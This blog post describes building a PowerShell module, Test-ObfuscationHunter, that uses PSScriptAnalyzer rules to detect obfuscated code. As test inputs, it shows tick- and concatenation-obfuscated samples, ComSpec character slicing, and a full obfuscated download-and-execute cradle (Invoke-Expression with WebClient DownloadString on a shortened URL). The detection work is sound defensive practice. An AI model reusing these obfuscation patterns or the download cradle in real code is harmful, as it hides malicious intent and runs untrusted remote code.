Hunting for obfuscation

During my summer holidays, I watched some of the great PSConf.eu content published on youtube.

This blog post is a focus on Daniel Bohannon’s presentation named PesterSec: Using Pester & ScriptAnalyzer to Detect Obfuscated PowerShell

Here’s the material he made available:

He made a demo of Measure-SAObfuscation.psm1 being run on the PowerShellCorpus.
This function is available in his 2 years old github repo named DevSec-Defense

I wanted to learn more and deep dive into his code. I wanted to learn how he’s detecting obfuscation.

During this journey, I realised I could use the same structure as the InjectionHunter module. I first created a module named ObfuscationHunter.
In this module, all I did is: restructure the content, reassemble the pieces of the puzzle, write some lazy Pester tests, sign the code and catalogs, merge the content from the different presentations (the Measure-TickUsageInVariable function isn’t in the custom rules of the DevSec-Defense github repo)… .

I thought the work of Daniel Bohannon and Lee Holmes is absolutely fantastic and awesome.
I didn’t go too much forward because Daniel Bohannon said he has the intention to publish it to the PowerShell Gallery. Once he does, it should be listed on his PSGallery page.

So, by using the same idea I presented on this blog post,
Using PowerShell Injection Hunter at scale, I created a Test-ObfuscationHunter function.

It shares the same principles as the InjectionHunter module:

    • has a dependency on the PSScriptAnalyzer module
    • uses custom rules that can be found here
    • each rule uses a predicate (a scriptblock) to parse the Abstract Syntax Tree (AST)

This Test-ObfuscationHunter function allows me to do the following:

    • Test if some piece of code uses a tick to obfuscate a command:
    • # load the above function I created
      . ~\Documents\Test-ObfuscationHunter.ps1
       $Code = @'
      ."Download`String"
      '@
      Test-ObfuscationHunter -Code $Code
      

    • Test if some piece of code uses a tick to obfuscate a member:
    • $Code = @'
      'a'."Download`String"
      '@
      Test-ObfuscationHunter -Code $Code 
      

      NB: it also detects the tick as a non-alphanumeric character used in a member.

    • Test if some piece of code uses a non-alphanumeric character to obfuscate a member
    • $Code = @'
      'a'.("Download"+"String")
      '@
      Test-ObfuscationHunter -Code $Code 
      

    • Test if some piece of code uses a suspicious/abusive expression length to obfuscate a member
    • $Code = @'
      'a'.((((New-Object Net.WebClient) |GM)| Where-Object{(Get-Item Variable:/_).Value.Name-like'D*g'}).Name)
      '@
      Test-ObfuscationHunter -Code $Code
      

      NB: it also detects the tick as a non-alphanumeric character used in a member.

    • Test if some piece of code uses a tick to obfuscate a variable
    • $Code = @'
      'notepad' | . (${e`Nv:C`Om`Spec}[4,15,25] -join '')
      '@ 
      Test-ObfuscationHunter -Code $Cod
      

      NB: it also detects the tick being used in a member.

    • Test if some piece of code uses a tick to obfuscate a variable
    • $Code = @'
      ${e`Nv:C`Om`Spec}
      '@ 
      Test-ObfuscationHunter -Code $Code
      

    • Test if some piece of code uses a non-alphanumeric character to obfuscate a variable
    • $Code = @'
      ${___/=\/==\/\/===}
      '@ 
      Test-ObfuscationHunter -Code $Code
      

    • Test if some piece of code uses many obfuscation techniques
    • Test-ObfuscationHunter -Code @'
      Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"('ht'+'tps://bit.ly/L3g1t')
      '@